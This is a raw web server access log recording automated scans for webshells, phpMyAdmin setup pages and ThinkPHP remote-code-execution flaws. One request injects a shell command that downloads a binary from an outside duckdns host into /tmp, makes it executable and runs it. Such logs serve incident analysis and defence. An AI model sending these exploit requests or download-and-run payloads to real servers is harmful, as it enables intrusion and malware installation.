106.13.88.214 - - [04/Feb/2020:18:08:39 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:39 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:40 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:18:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.88.214 - - [04/Feb/2020:18:08:43 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:43 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:51 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:51 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:51 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:53 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:53 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:55 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:55 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:55 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:55 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:56 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:56 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:56 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:56 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:56 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:57 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:57 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:59 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:59 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:08:59 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:00 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:03 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:03 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:03 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:03 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:04 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:04 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:04 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:04 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:07 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:12 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:12 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:12 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:13 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:15 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:15 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:15 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:15 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:16 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:17 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:19 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:20 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:20 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:21 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:21 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:21 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:23 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:23 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:24 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:24 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:24 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:28 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:28 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:31 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:31 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:32 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:33 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:33 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:33 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:35 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:35 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:36 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:36 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:36 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:39 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:39 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:39 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:18:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.88.214 - - [04/Feb/2020:18:09:43 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:43 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:43 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:43 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:44 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:44 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:47 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:47 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:47 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:47 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
112.72.93.32 - - [04/Feb/2020:18:09:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.13.88.214 - - [04/Feb/2020:18:09:48 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:48 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:48 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:49 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:49 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:49 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:52 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:52 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:55 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:55 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:56 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:09:57 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:15 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:27 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:27 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:27 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:27 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:31 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:31 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:31 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:35 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:35 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:36 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:36 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:39 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:39 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:39 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
106.13.88.214 - - [04/Feb/2020:18:10:39 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
